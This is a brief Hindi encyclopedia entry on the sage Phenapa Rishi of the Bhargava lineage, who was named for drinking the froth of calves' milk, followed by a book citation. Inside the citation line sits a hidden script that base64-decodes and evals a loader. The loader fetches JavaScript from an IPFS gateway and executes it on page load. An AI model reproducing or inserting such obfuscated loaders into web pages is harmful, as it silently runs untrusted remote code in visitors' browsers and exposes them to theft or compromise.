फेनप ऋषि

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फेनप ऋषि भार्गव वंश के गोत्रकार ऋषियों में से एक थे। ये दूध के स्थान पर उसके झाग (फेन) का पान करते थे, इसीलिए 'फेनप ऋषि' कहलाये।

  • त्रिशिखर गिरि से कूलहा नदी प्रवाहित हुई, जिसके तट पर भृगु के आश्रम में सुमित्र रहते थे।
  • वे गाय के दुग्ध का पान नहीं करते थे, गौवत्सों के मुख से गिरे झाग का पान करते थे।
  • फेन के पान के कारण ही ये 'फेनप ऋषि' के नाम से प्रसिद्ध हुए।


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टीका टिप्पणी और संदर्भ

भारतीय संस्कृति कोश, भाग-2 |प्रकाशक: यूनिवर्सिटी पब्लिकेशन, नई दिल्ली-110002 |संपादन: प्रोफ़ेसर देवेन्द्र मिश्र |पृष्ठ संख्या: 522 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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